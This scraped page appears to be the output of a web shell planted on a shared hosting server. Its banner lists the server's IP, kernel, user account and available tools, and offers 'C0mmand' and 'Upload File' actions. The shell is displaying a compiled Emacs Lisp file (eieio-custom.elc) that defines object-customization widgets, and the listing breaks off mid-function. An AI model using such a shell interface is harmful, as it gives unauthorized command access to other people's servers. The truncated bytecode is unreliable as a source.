Server IP : 111.118.215.189 / Your IP : 3.143.244.92 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/emacs-lisp/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:09:01 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/emacs-lisp/eieio-custom.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302!\210\300\303!\210\300\304!\210\305\306\307\310\311$\210\312\313\314\315\316\317\320\301&\210\321\322\323\324\320\325%\207" [require eieio widget wid-edit custom eieio-defclass eieio-widget-test-class nil ((a-string :initarg :a-string :initform "The moose is loose" :custom string :label "Amorphous String" :group (default foo) :documentation "A string for testing custom.\nThis is the next line of documentation.") (listostuff :initarg :listostuff :initform ("1" "2" "3") :type list :custom (repeat (string :tag "Stuff")) :label "List of Strings" :group foo :documentation "A list of stuff.") (uninitialized :initarg :uninitialized :type string :custom string :documentation "This slot is not initialized.\nUsed to make sure that custom doesn't barf when it encounters one\nof these.") (a-number :initarg :a-number :initform 2 :custom integer :documentation "A number of thingies.")) ("A class for testing the widget on.") custom-declare-variable eieio-widget-test (eieio-widget-test-class "Foo") "Test variable for editing an object." :type object :group custom-declare-face eieio-custom-slot-tag-face ((((class color) (background dark)) (:foreground "light blue")) (((class color) (background light)) (:foreground "blue")) (t (:italic t))) "Face used for unpushable variable tags." custom-faces] 8) #@75 Buffer local variable in object customize buffers for the current widget. (defvar eieio-wo nil (#$ . 1902)) #@72 Buffer local variable in object customize buffers for the current obj. (defvar eieio-co nil (#$ . 2016)) #@74 Buffer local variable in object customize buffers for the current group. (defvar eieio-cog nil (#$ . 2127)) #@131 When true, all customizable slots of the current object are updated. Updates occur regardless of the current customization group. (defvar eieio-custom-ignore-eieio-co nil (#$ . 2242)) (define-widget 'object-slot 'group "Abstractly modify a single slot in an object." :tag "Slot" :format "%t %v%h\n" :convert-widget 'widget-types-convert-widget :value-create 'eieio-slot-value-create :value-get 'eieio-slot-value-get :value-delete 'widget-children-value-delete :validate 'widget-children-validate :match 'eieio-object-match) #@29 Create the value of WIDGET. (defalias 'eieio-slot-value-create #[(widget) "\302\303 \304 \305\"\306\307\310\304 \310\"&B\311 \312#)\207" [chil widget nil widget-create-child-and-convert widget-get :childtype :tag "" :value widget-put :children] 9 (#$ . 2772)]) #@26 Get the value of WIDGET. (defalias 'eieio-slot-value-get #[(widget) "\301\302\303\"@!\207" [widget widget-value widget-get :children] 4 (#$ . 3044)]) #@30 Toggle visibility of WIDGET. (defalias 'eieio-custom-toggle-hide #[(widget) "\302\303\"@\302 \304\"\305=\203! \306 \304\307#\210\306 \310\302 \311\"#\210\2026 \306 \304\305#\210\306 \311\302 \310\"#\210\306 \310\312#\210\313 \314 !\")\207" [widget vc widget-get :children :eieio-custom-state hidden widget-put visible :value-face :orig-face invisible widget-value-set widget-value] 6 (#$ . 3201)]) #@93 Toggle visibility of parent of WIDGET. Optional argument IGNORE is an extraneous parameter. (defalias 'eieio-custom-toggle-parent #[(widget &rest ignore) "\301\302\303\"!\207" [widget eieio-custom-toggle-hide widget-get :parent] 4 (#$ . 3607)]) (define-widget 'object-edit 'group "Abstractly modify a CLOS object." :tag "Object" :format "%v" :convert-widget 'widget-types-convert-widget :value-create 'eieio-object-value-create :value-get 'eieio-object-value-get :value-delete 'widget-children-value-delete :validate 'widget-children-validate :match 'eieio-object-match :clone-object-children nil) #@38 Match info for WIDGET against VALUE. (defalias 'eieio-object-match #[(widget value) "\300\207" [t] 1 (#$ . 4212)]) #@26 Filter WIDGETs SLOTTYPE. (defalias 'eieio-filter-slot-type #[(widget slottype) "\302\303\"\203 \207 \304=\203 \305\207 <\203\"